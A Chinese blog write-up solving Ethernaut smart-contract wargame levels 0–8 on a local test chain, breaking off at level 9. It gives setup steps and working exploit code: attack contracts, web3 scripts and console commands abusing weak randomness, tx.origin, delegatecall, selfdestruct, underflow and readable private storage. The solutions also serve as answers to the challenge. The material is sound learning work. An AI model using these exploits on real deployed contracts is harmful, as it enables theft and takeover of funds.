如题,想练练区块链的题目,网上找了一圈发现题目大多都不在Running,后来@sh1k4ku 推荐了Ethernaut ,于是,开刷。
Ethernaut的题目都比较简单,适合入门食用。
篇幅上我打算把全部题目写成一篇,想看对应题目的话直接点TOC跳转即可,当然推荐一直往下读(
介绍篇·  
首先介绍一下区块链/以太坊的一些概念,下面一些内容参考了@Van1sh 的初探以太坊 。
常见的区块链题目都会给出三个链接:RPC(Remote Procedure Call)、Faucet(水龙头/水管)和题目链接
RPC:可以大概理解为链的提供者,我们需要链接上一个RPC后才可以在上面进行创建账户、部署合约、调用合约等操作。
 
Faucet:可以理解为免费的提款机(水龙头就是源源不断有水流出的意思),通常把自己钱包的公钥输进去后就会给你打钱,以太坊中的很多操作都需要付Gas(燃料费,可以理解为手续费),所以创建账户后首先要记得去水龙头拿钱。
但要注意如果用的是公共测试链的话需要一定拿钱门槛,而且给的还贼少,主链的话就不可能免费了,通常要用USD去换。
 
题目链接:用来部署题目、提交答案等,通常题目代码在这拿。
 
 
不过在Ethernaut上会有点不一样,一会细说,先把概念记住就好。
除了上面三个链接,我们还需要一个钱包(或者说一个账户),常用的是MetaMask(小狐狸) ,按照指引装上他的浏览器插件即可,装完后在上面创建一个新的账户,然后就可以进Ethernaut了。
Ethernaut介绍·  
访问:https://ethernaut.openzeppelin.com/
如果你是第一次访问的话他会叫你设置网络(这个网络指的是RPC,不是互联网),如果你在配置过MetaMask中配置好网络的话点击“deploy”(部署)即可,如果看不懂的话暂时选它推荐的Sepolia即可,反正一会可以改的。(这里我没截到图,反正大概意思-)
PS:Sepolia是以太坊的一个公共测试链。
进去后点击右上角的设置,可以先把语言改了,然后如果刚才的网络没选好的话也可以在这里更改(不过好像只能选公共测试链)
 
另外网络也可以在MetaMask里改,点击MetaMask插件左上角选择网络,打开测试网络然后选择你想要用的网络即可,这里就可以选私链
 
最后稍微对应一下上面的三个概念,
首先RPC就是这里的网络,由于Ethernaut和MetaMask把连接的过程抽象成按钮点击,所以并不需要知道RPC的地址(链接),实在想知道的话可以在Alchemy 上查,比如Sepolia的话可以在这里 查到:
PS:如果你想脱离Ethernaut平台自己写脚本的话,以上信息是必须知道的。
然后是Faucet,如果用的是公共测试链,就需要自己去找Faucet,还是拿Sepolia做例子,可以在这里 找到一些比较多人用的水管,但我自己试了一下除了testnet-faucet (每小时可以拿0.001测试币),其他不是代理问题就是需要主链有0.001ETH(PS:主链起充200+RMB)
之前也试过RockX ,但用了一段时间后也说需要主链有币才能用,emmm,所以公链的水管就需要自己想办法了
如果是私链的话,都是自己搭的链,改个数字就好了吧(x),比如自己本地搭Ethernaut 的话会提供几个初始账户,里面各有10000 ETH。
最后题目链接就是刚才的平台。
搭建私链/Ethernaut平台·  
如刚才说的,公链测试币太难拿了,所以不如自己搭个私链,还不用怕在公链上乱搞被骂 。
在这其实有几个选择,你可以
按Ethernaut的GitHub 上的指引搭建一个完整的本地平台,这个一会细说 
也可以按Ethernaut的指引搭建好私链并部署好协议后,访问在线的Ethernaut平台,你可以认为Ethernaut平台只是一个前端,因为部署Ethernaut的时候会有各种坑,如果平台实在没建起来的话可以凑合用着在线的(不过链是自己的) 
当然也可用Geth 、Hardhat 等搭建自己的私链,MetaMask连上链后,访问Ethernaut,但是还要自己把题目部署上链,有点麻烦 
 
下面马克一下我部署Ethernaut的过程
首先把项目克隆下来
1 2 git clone git@github.com:OpenZeppelin/ethernaut.git cd ethernaut 
 
然后你需要安装NodeJS ,这里建议装16.x的版本,因为旧了会报错,新了也会报错。。。
比较推荐使用NVM (我Windows的话是NVM for Windows ),Releases里下载安装后
1 2 nvm install 16 nvm use 16 
 
即可,如无意外执行nvm list会显示(版本可能不一样)
 
如果执行多次都没显示(Currently using 64-bit executable)的话,可能需要删除安装时填的那个nodejs,再执行nvm use 16,参考:这里 
然后需要装yarn(-g是全局的意思,如果不想全局的话。。。自己解决吧-)
 
然后就可以跟着GitHub上的指引安装,首先安装依赖
 
开启私链(基于Hardhat,但不用自己另外装,上面已经装了)
 
执行完后会打印出20个测试账户,里面各有10000 ETH,一会刷题可以使用这些账户,就不用折腾水管了
另外,这个窗口不能关闭,否则链就关了,所以下面命令需要另外开一个窗口
接着编译题目
 
打开client/src/constants.js,把ACTIVE_NETWORK设置为NETWORKS.LOCAL(有一行注释的,删掉注释即可)
另外client/src/constants.js行17的url: "http://localhost"改为url: "http://127.0.0.1",不然一会部署题目可能会报CONNECTION ERROR,参考:这里 
部署题目
 
如无意外的话到这里私链就搭好了,如果不想继续弄下去的话可以在MetaMask中选择Localhost 8545的私链后访问在线的Ethernaut平台
接下来开启本地平台
 
PS:当时我用18.x的NodeJS报0308010C:digital envelope routines::unsupported,降级为16.x后就没问题,参考:这里 
如无意外的话会弹到http://localhost:3000/,上面有一个和在线版一模一样的Ethernaut平台
接着打开MetaMask,网络选择Localhost 8545,然后导入账户,在刚才yarn network的列表中选一个私钥导入,到这里如果看到自己的1w ETH就算配置成功了
 
下面开始愉快地 刷题
PS:如果把network关闭再重启后,MetaMask上可能会出现nonce不对的情况,这时在MetaMask中:设置 -> 高级 -> 清楚活动选项卡数据清一下nonce即可,不过注意之前的交易记录会被清调,谨慎操作
00_Hello Ethernaut·  
点击开始进入第0关
上面有一些平台的指引,MetaMask刚才已经配置好了,接下来打开控制台:Ctrl + Shift + i或F12,然后转到Console,输help()可获得所有指令,可以都试试
点“生成新实例”开始游戏,会弹出MetaMask要求交手续费,点确认即可,然后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 await contract.info() // 'You will find what you need in info1().' await contract.info1() // 'Try info2(), but with "hello" as a parameter.' await contract.info2('hello') // 'The property infoNum holds the number of the next info method to call.' (await contract.infoNum()).words[0] // 42 await contract.info42() // 'theMethodName is the name of the next method.' await contract.theMethodName() // 'The method name is method7123949.' await contract.method7123949() // 'If you know the password, submit it to authenticate().' await contract.password() // 'ethernaut0' await contract.authenticate('ethernaut0') 
 
执行contract.authenticate('ethernaut0'),需要交手续费,最后提交实例,也要手续费
PS:关于手续费,如果一个操作需要写入,则需要手续费,如果是只读则不用(好像需要运算的也要?
通过后可以获得本关的题目代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Instance {   string public password;   uint8 public infoNum = 42;   string public theMethodName = 'The method name is method7123949.';   bool private cleared = false;   // constructor   constructor(string memory _password) {     password = _password;   }   function info() public pure returns (string memory) {     return 'You will find what you need in info1().';   }   function info1() public pure returns (string memory) {     return 'Try info2(), but with "hello" as a parameter.';   }   function info2(string memory param) public pure returns (string memory) {     if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {       return 'The property infoNum holds the number of the next info method to call.';     }     return 'Wrong parameter.';   }   function info42() public pure returns (string memory) {     return 'theMethodName is the name of the next method.';   }   function method7123949() public pure returns (string memory) {     return 'If you know the password, submit it to authenticate().';   }   function authenticate(string memory passkey) public {     if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {       cleared = true;     }   }   function getCleared() public view returns (bool) {     return cleared;   } } 
 
01_Fallback·  
仔细看下面的合约代码.
通过这关你需要
获得这个合约的所有权 
把他的余额减到0 
 
这可能有帮助
如何通过与ABI互动发送ether 
如何在ABI之外发送ether 
转换 wei/ether 单位 (参见 help() 命令) 
Fallback 方法 
 
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Fallback {   mapping(address => uint) public contributions;   address public owner;   constructor() {     owner = msg.sender;     contributions[msg.sender] = 1000 * (1 ether);   }   modifier onlyOwner {         require(             msg.sender == owner,             "caller is not the owner"         );         _;     }   function contribute() public payable {     require(msg.value < 0.001 ether);     contributions[msg.sender] += msg.value;     if(contributions[msg.sender] > contributions[owner]) {       owner = msg.sender;     }   }   function getContribution() public view returns (uint) {     return contributions[msg.sender];   }   function withdraw() public onlyOwner {     payable(owner).transfer(address(this).balance);   }   receive() external payable {     require(msg.value > 0 && contributions[msg.sender] > 0);     owner = msg.sender;   } } 
 
其实只要执行receive就可以获得所有权,但还要绕过里面的require
首先check一下owner,显然不是我
1 2 owner = await  contract.owner() 
 
然后贡献点钱,绕过receive里的contributions[msg.sender] > 0,这里钱好像不能转太少,不然还是当作0,不懂solidity的小数机制(留坑),捐钱可以调用合约的contribute函数,捐多少钱可以通过输入value控制,其中toWei是把单位ETH转换为单位Wei,toWei('0.0001')就是我要转0.0001 ETH的意思,只是这里value接受的单位是Wei,所以要转
1 await  contract.contribute({value : toWei('0.0001' )})
 
检查一下有没捐成功,刚才说了,因为会有一个小数的坑
1 2 (await  contract.getContribution()).words 
 
不是空的,就是成功了
接下来调receive,参考了一下receive函数的用法 ,对合约转账即可执行receive,比如用 transfer()、send() 或call()函数进行转账,这里我直接调用Ethernaut给我封装好的contract.send函数,输入要转的Wei数量即可
 
 
然后再测一下所有权
 
已经变成我了,提款然后提交实例即可
1 await  contract.withdraw()
 
02_Fallout·  
获得以下合约的所有权来完成这一关.
这可能有帮助
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Fallout {      using SafeMath for uint256;   mapping (address => uint) allocations;   address payable public owner;   // constructor   function Fal1out() public payable {     owner = msg.sender;     allocations[owner] = msg.value;   }   modifier onlyOwner { 	        require( 	            msg.sender == owner, 	            "caller is not the owner" 	        ); 	        _; 	    }   function allocate() public payable {     allocations[msg.sender] = allocations[msg.sender].add(msg.value);   }   function sendAllocation(address payable allocator) public {     require(allocations[allocator] > 0);     allocator.transfer(allocations[allocator]);   }   function collectAllocations() public onlyOwner {     msg.sender.transfer(address(this).balance);   }   function allocatorBalance(address allocator) public view returns (uint) {     return allocations[allocator];   } } 
 
先看看owner
 
好家伙,构造函数是假的(真的应该是叫constructor()),凋一下Fal1out()获得控制权
1 2 3 await  contract.Fal1out()await  contract.owner()
 
然后提交即可
03_Coin Flip (*)·  
这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。
这可能能帮助到你
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip {   uint256 public consecutiveWins;   uint256 lastHash;   uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;   constructor() {     consecutiveWins = 0;   }   function flip(bool _guess) public returns (bool) {     uint256 blockValue = uint256(blockhash(block.number - 1));     if (lastHash == blockValue) {       revert();     }     lastHash = blockValue;     uint256 coinFlip = blockValue / FACTOR;     bool side = coinFlip == 1 ? true : false;     if (side == _guess) {       consecutiveWins++;       return true;     } else {       consecutiveWins = 0;       return false;     }   } } 
 
实际上是猜blockValue比FACTOR大(true)还是小(false),blockValue是上一块的哈希,是公共信息,所以可以本地获取blockValue然后自己和FACTOR比较得出side
这题我尝试用三种方法解,顺便学学环境
JavaScript方法·  
合约里的block.number可以通过JS的web3.eth.blockNumber获取 ,哈希可以通过(await web3.eth.getBlock(blockNumber)).hash计算,FACTOR是一常量,然后就可以算side了
首先把FACTOR定死
1 const  FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ;
 
然后算side并抛币
1 2 3 4 var  num = await  web3.eth.getBlockNumber();var  blockValue = Number ((await  web3.eth.getBlock(num)).hash);var  side = blockValue >= FACTOR;await  contract.flip(side)
 
检查一下有没抛成功
1 2 (await  contract.consecutiveWins()).words[0 ] 
 
重复10次即可。
但是,如果你是在公链上搞这题的话会有一个问题,就是在获取num后,计算side、提交到flip和在MetaMask上点击都需要时间,如果这段时间内公链上有其他人插入了新的区块,那么合约里的block.number就会大于num,从而退化为随机猜测,所以需要节约获取num到提交成功所消耗的时间
其中比较耗时的是MetaMask的弹出到点击,这里介绍另一种调用合约函数的方法
以上的合约调用都是使用Ethernaut封装好的contract,其实还有更通用的合约调用方法,
注:如果需要对合约进行写入,则需要提交手续费,而且需要使用账户的私钥对这笔交易进行签名,请注意不要轻易地暴露自己账户的私钥!(我是测试户所以没问题)
首先获取这个合约的实例,需要知道这个合约的ABI和合约地址,这里直接调用contract获取即可,然后把常量和私钥定一下
1 2 3 var  contract2 = new  web3.eth.Contract(contract.abi, contract.address);const  FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ;const  sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' ;
 
同样,计算side
1 2 3 var  num = await  web3.eth.getBlockNumber();var  blockValue = Number ((await  web3.eth.getBlock(num)).hash);var  side = blockValue >= FACTOR;
 
然后调用flip函数,这里会有点麻烦,首先获取flip(side)的编码(注意这个编码是带输入的)
1 var  functionEncode = await  contract2.methods.flip(side).encodeABI();
 
然后需要自己填一些交易信息(之前是Ethernaut封装好的接口,所以可以省略这些信息,但这里要自己手动填)
1 2 3 4 5 const  tx = {    gas : 300000 ,     to : contract.address,     data : functionEncode, }; 
 
因为flip会更改consecutiveWins,所以需要用私钥签名
1 var  sign = await  web3.eth.accounts.signTransaction(tx, sk);
 
最后发送这笔交易(不会弹出MetaMask,但还是要给钱的)
1 var  result = await  web3.eth.sendSignedTransaction(sign.rawTransaction);
 
把全部合起来,重复10次,就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for  (i=0 ; i<10 ; i++) {    console .log(i);     var  nonce = await  web3.eth.getTransactionCount(player, 'pending' );     var  num = await  web3.eth.getBlockNumber();     var  blockValue = Number ((await  web3.eth.getBlock(num)).hash);     var  side = blockValue >= FACTOR;     var  functionEncode = await  contract2.methods.flip(side).encodeABI();     const  tx = {         nonce : nonce,         gas : 300000 ,         to : contract.address,         data : functionEncode,     };     var  sign = await  web3.eth.accounts.signTransaction(tx, sk);     var  result = await  web3.eth.sendSignedTransaction(sign.rawTransaction);    } 
 
然后再看看consecutiveWins
1 2 (await  contract.consecutiveWins()).words[0 ] 
 
提交即可
PS:.encodeABI()的操作其实也可以用web3.eth.abi.encodeFunctionCall ,不过会比较麻烦,需要自己填ABI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var  functionEncode = web3.eth.abi.encodeFunctionCall(  {     type : "function" ,     name : "flip" ,     inputs : [       {         type : "bool" ,         name : "_guess" ,       }     ],   },   [side] ); 
 
没输入的话可以直接web3.eth.abi.encodeFunctionSignature (不过这里显然有输入)
1 2 web3.eth.abi.encodeFunctionSignature('flip(bool)' ) 
 
还是原来的方便一点(
Python方法·  
思路类似,只是写的代码不太一样。
首先需要先连接上Provider,要知道RPC的URL,就是http://localhost:8545
PS:关于RPC的信息,可以在MetaMask中:设置 -> 网络 -> 点击Localhost 8545查看,这里还可以获得链ID,后面会用到
 
连接Provider
1 2 3 4 5 6 7 8 from  web3 import  Web3, HTTPProviderRPC_url = 'http://localhost:8545'  web3 = Web3(HTTPProvider(RPC_url)) state = web3.is_connected() print (state)if  not  state:    exit(-1 ) 
 
连接账户(PS:记得不要轻易泄露自己的私钥,我这只是测试户),顺便看看余额,能打印出来就是成功连上了
1 2 3 4 5 player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'  sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'  account = web3.eth.account.from_key(sk) print (web3.eth.get_balance(player))
 
连接合约,需要知道合约的ABI和合约地址,回到浏览器中
1 2 JSON .stringify(contract.abi)contract.address 
 
记下结果,然后回到Python代码中
1 2 3 4 5 6 7 import  jsonabi_json = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"consecutiveWins","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true,"signature":"0xe6f334d7"},{"inputs":[{"internalType":"bool","name":"_guess","type":"bool"}],"name":"flip","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function","signature":"0x1d263f67"}]'  abi = json.loads(abi_json) address = '0x94099942864EA81cCF197E9D71ac53310b1468D8'  contract2 = web3.eth.contract(abi=abi, address=address) 
 
合约中只读函数直接调用即可,无需签名,下面调一下public变量consecutiveWins看看是否连接上
1 2 print (contract2.functions.consecutiveWins().call())
 
web3.py中,获取block.number使用的是web3.eth.block_number,下面计算side
1 2 3 4 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968  num = web3.eth.block_number blockValue = int (web3.eth.get_block(num).hash .hex (), 16 ) side = blockValue >= FACTOR 
 
类似地,调用flip(side)时先要获取其编码
1 functionEncode = contract2.encodeABI(fn_name="flip" , args=[side]) 
 
填写交易信息,web3.py需要的信息会复杂一点,还需要填chainId、nonce和gasPrice
chainId上面已经获取了,填上1337即可 
nonce是一个递增的值,填web3.eth.get_transaction_count(account.address)即可,搞乱了后面修回来会很麻烦 
gasPrice是燃料费,私链的话随便填一下就好了,公链的话就要考虑很多东西,建议避开高峰期然后参考市场价填(北京时间的早上,美国那边的下班时间好像会便宜一点),填太低的话要等很久才能交易,填太高就费钱,可以参考一下计费规则  
 
1 2 3 4 5 6 7 8 9 10 11 12 chainId = int (1337 ) nonce = int (web3.eth.get_transaction_count(account.address)) tx = {     'chainId' : chainId,     'nonce' : nonce,     'gasPrice' : int (5000000 ),     'gas' : int (50000 ),     'value' : int (0 ),     'from' : player,     'to' : address,     'data' : functionEncode, } 
 
对交易签名
1 sign = web3.eth.account.sign_transaction(tx, sk) 
 
发送交易
1 2 hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex () result = web3.eth.wait_for_transaction_receipt(hashTx) 
 
连着做10次的话就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from  web3 import  Web3, HTTPProviderimport  jsonchainId = int (1337 ) RPC_url = 'http://localhost:8545'  web3 = Web3(HTTPProvider(RPC_url)) state = web3.is_connected() print (state)if  not  state:    exit(-1 ) player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'  sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'  account = web3.eth.account.from_key(sk) print (web3.eth.get_balance(player))abi_json = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"consecutiveWins","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","constant":true,"signature":"0xe6f334d7"},{"inputs":[{"internalType":"bool","name":"_guess","type":"bool"}],"name":"flip","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function","signature":"0x1d263f67"}]'  abi = json.loads(abi_json) address = '0x94099942864EA81cCF197E9D71ac53310b1468D8'  contract2 = web3.eth.contract(abi=abi, address=address) print (contract2.functions.consecutiveWins().call())FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968  for  i in  range (10 ):    print ('[Log] Doing: %d'  % i)     print ('[Log] %d'  % web3.eth.get_balance(player))     nonce = int (web3.eth.get_transaction_count(account.address))     print ('[Log] nonce: %d'  % nonce)     num = web3.eth.block_number     print ('[Log] num: %d'  % num)     blockValue = int (web3.eth.get_block(num).hash .hex (), 16 )     side = blockValue >= FACTOR     print ('[Log] side: %s'  % side)     functionEncode = contract2.encodeABI(fn_name="flip" , args=[side])     tx = {         'chainId' : chainId,         'nonce' : nonce,         'gasPrice' : int (5000000 ),         'gas' : int (500000 ),         'value' : int (0 ),         'from' : player,         'to' : address,         'data' : functionEncode,     }     sign = web3.eth.account.sign_transaction(tx, sk)     hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex ()     print ('[Log] Sending transaction ...' )     result = web3.eth.wait_for_transaction_receipt(hashTx)     print (result)     win = contract2.functions.consecutiveWins().call()     print (win)     print () 
 
返回浏览器提交即可
记一下之前在公链上搞踩过的坑,在调代码的时候,好像是签名了但交易没发出去或者发出去被中断时,因为交易没发出去,所以web3.eth.get_transaction_count(account.address)并没增加,但是不知道为啥实际上这个nonce已经被占用,导致报replacement transaction underpriced错误
手动增加nonce虽然没报错,但实际上因为前面交易没完成所以会一直在排队,增加到一定数量的话甚至会导致queued cost过高
正确的解决方法是,使用之前堵住的nonce,然后把gasPrice调高,用更高的gasPrice覆盖原来的交易,可以参考:这里 
Solidity方法·  
推荐使用在线的Remix-IDE 编写、编译、部署Solidity的代码。
首先新建个文件,比如我叫hack.sol,然后写上攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // https://learnblockchain.cn/question/2206 interface CoinFlip {   function consecutiveWins() external returns (uint256);   function flip(bool) external returns (bool); } contract Hack {   uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;   event Log(string);   event Log(uint256);   event Log(bool);   address cf_addr = 0x94099942864EA81cCF197E9D71ac53310b1468D8;   CoinFlip cf = CoinFlip(cf_addr);   function flip() public {     emit Log(block.number - 1);     uint256 blockValue = uint256(blockhash(block.number - 1));     emit Log(blockValue);     uint256 coinFlip = blockValue / FACTOR;     bool side = coinFlip == 1 ? true : false;     emit Log(side);     cf.flip(side);     emit Log(cf.consecutiveWins());   }   function flipN(uint n) public {     for (uint i=0; i<n; i++) {       flip();     }   }   constructor() {        } } 
 
其中interface CoinFlip是题目合约的接口,用来调用题目的CoinFlip的函数,里面函数都要external,不然会报错,可以参考:这里 
cf_addr是题目合约地址,flip()就是算一次side然后提交到题目的cf.flip(side),flipN就是做n次flip(),Log就是打log
保存后点Remix左边的编译器,选择0.8.0,然后编译
 
PS:编译完后,同一个页面的下面可以复制这个合约的ABI和Bytecode,不过暂时没啥用
编译完后Remix左边点到部署页面,环境选MetaMask,在MetaMask里切换好账户和网络,合约选刚才的hack.sol,GAS啥的自己看着设就好,然后点击部署,交钱
 
部署完成后下面“已部署的合约”中可以和这个合约交互
 
先点个flip试试,交钱,然后Remix右下角那个区域会出现这个交易的信息,点开翻到logs,可以看到刚才Log对应的输出,比如最后一个是Log(cf.consecutiveWins()),可以看到输出显示consecutiveWins变成了1

单测成功,但是后来在flipN中输大于等于2的n会报Transaction reverted without a reason string,不知道是不是异步的问题,留坑
手动按10次flip算了
PS:如果多的话还是需要在JS或Python中调用这个合约,算是一种不太方便的方法
04_Telephone·  
获得下面合约来完成这一关
这可能有用
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone {   address public owner;   constructor() {     owner = msg.sender;   }   function changeOwner(address _owner) public {     if (tx.origin != msg.sender) {       owner = _owner;     }   } } 
 
先看看owner
 
tx.origin是最初的调用者,msg.sender是上一级的调用者,如果在别的合约中调用changeOwner,则tx.origin是player,msg.sender是这个合约,造成tx.origin和msg.sender不一致,获得所有权,参考:这里 
攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Telephone {   function owner() external;   function changeOwner(address _owner) external; } contract Hack {   address addr = 0x8aCd85898458400f7Db866d53FCFF6f0D49741FF;   function hack() public {     Telephone tp = Telephone(addr);     tp.changeOwner(msg.sender);   }   constructor() {   } } 
 
Remix部署,然后hack一下,再看看owner
 
提交
提交后显示:
 
比如this .
05_Token·  
这一关的目标是攻破下面这个基础 token 合约
你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好
这可能有帮助:
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token {   mapping(address => uint) balances;   uint public totalSupply;   constructor(uint _initialSupply) public {     balances[msg.sender] = totalSupply = _initialSupply;   }   function transfer(address _to, uint _value) public returns (bool) {     require(balances[msg.sender] - _value >= 0);     balances[msg.sender] -= _value;     balances[_to] += _value;     return true;   }   function balanceOf(address _owner) public view returns (uint balance) {     return balances[_owner];   } } 
 
整数下溢,转走21块就好,首先看看余额
1 2 (await  contract.balanceOf(player)).words[0 ] 
 
然后给一个虚构的play2转账21块
1 2 play2 = '0x0000000000000000000000000000000000000000' ; await  contract.transfer(play2, 21 );
 
再看看余额,发生了溢出
1 2 (await  contract.balanceOf(player)).words[0 ] 
 
提交后:
 
06_Delegation·  
这一关的目标是申明你对你创建实例的所有权.
这可能有帮助
仔细看solidity文档关于 delegatecall 的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响. 
Fallback 方法 
方法 ID 
 
题目代码;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate {   address public owner;   constructor(address _owner) {     owner = _owner;   }   function pwn() public {     owner = msg.sender;   } } contract Delegation {   address public owner;   Delegate delegate;   constructor(address _delegateAddress) {     delegate = Delegate(_delegateAddress);     owner = msg.sender;   }   fallback() external {     (bool result,) = address(delegate).delegatecall(msg.data);     if (result) {       this;     }   } } 
 
直接看到fallback里有delegatecall (委托调用)
delegatecall 大概解释是,可以用来调用外部合约的方法,但是仅调用了外部合约的代码(code),所用的全局变量还是本合约中的变量,即可以调用外部代码修改本地变量,更多delegatecall 的解释可以参考:这里 
在这个题中,调用Delegate里的pwn()可以获得所有权,而Delegation中的fallback里可以使用delegatecall调用Delegate里的pwn(),按上面所说,只会执行Delegate的代码,变量的修改还是在Delegation,所以即可以获得Delegation的所有权
问题剩下,怎么调用Delegate里的pwn(),在web3.js中可以通过web3.eth.abi.encodeFunctionSignature('pwn()')获得调用pwn()的ABI,然后把这个ABI放到data中做交易即可
首先看看原owner
 
然后委托调用pwn()
1 2 3 4 5 6 7 8 9 var  contract2 = new  web3.eth.Contract(contract.abi, contract.address);const  sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' ;const  tx = {    gas : 300000 ,     to : contract.address,     data : web3.eth.abi.encodeFunctionSignature('pwn()' ) }; var  sign = await  web3.eth.accounts.signTransaction(tx, sk);var  result = await  web3.eth.sendSignedTransaction(sign.rawTransaction);
 
再看看owner
1 2 await  contract.owner()'0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266' 
 
提交即可
 
参见 The Parity Wallet Hack Explained 
07_Force·  
有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯
这一关的目标是使合约的余额大于0
这可能有帮助:
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force {/*                    MEOW ?          /\_/\   /     ____/ o o \   /~____  =ø= /  (______)__m_m) */} 
 
(这不是什么都没写吗-)
可以在攻击合约中调用自毁函数selfdestruct发起强制转账,参考:这里 
部署攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack {   address payable vicAddr = payable(0xf41B47c54dEFF12f8fE830A411a09D865eBb120E);   constructor() {}   function transfer() public payable {     payable(address(this)).transfer(msg.value);   }   function hack() public {     selfdestruct(vicAddr);   }   receive() external payable {} } 
 
PS:没有receive函数的话转钱好像会报错,另外收钱的函数还要加payable(部署后在Remix中这个函数的按钮会显示红色),参考:这里 和这里 
Remix中在以太币数量上填点钱(这里输入到合约中是msg.value),然后点击transfer转账,确认攻击合约收到钱后点hack触发自毁,然后把钱转到题目合约中
再查看题目合约的余额
1 2 await  web3.eth.getBalance(contract.address)
 
提交
 
08_Vault·  
打开 vault 来通过这一关!
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Vault {   bool public locked;   bytes32 private password;   constructor(bytes32 _password) {     locked = true;     password = _password;   }   function unlock(bytes32 _password) public {     if (password == _password) {       locked = false;     }   } } 
 
翻了一下这里 虽然说bytes没有内置比较函数,但试了一下==是可行的(可能是因为bytes32直接定了长度,所以直接比较内存),所以应该不是==的漏洞
那应该就是password的问题,本来设想可以找到这个合约部署的区块来获得_password的输入,但是生成实例的交易只是生成实例的,部署的区块应该是平台开始的时候的那堆区块,翻起来有点麻烦,就算了
后来发现web3.eth.getStorageAt可以直接获得合约的内存,包括私有变量,所以可以直接获得bytes32 private password,提交解锁,具体参考:这里 
1 2 3 4 var  password = await  web3.eth.getStorageAt(contract.address, 1 );await  contract.unlock(password);await  contract.locked()
 
提交即可
 
zk-SNARKs 
PS:马克一下折腾时用到的一些命令,万一以后有用
1 2 3 4 5 6 7 8 9 await  web3.eth.getCode(contract.address)var  block = await  web3.eth.getBlock();(await  web3.eth.getTransaction(block.transactions[0 ])).input; (await  web3.eth.getTransactionReceipt(block.transactions[0 ])).contractAddress 
 
09_King·  
下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.
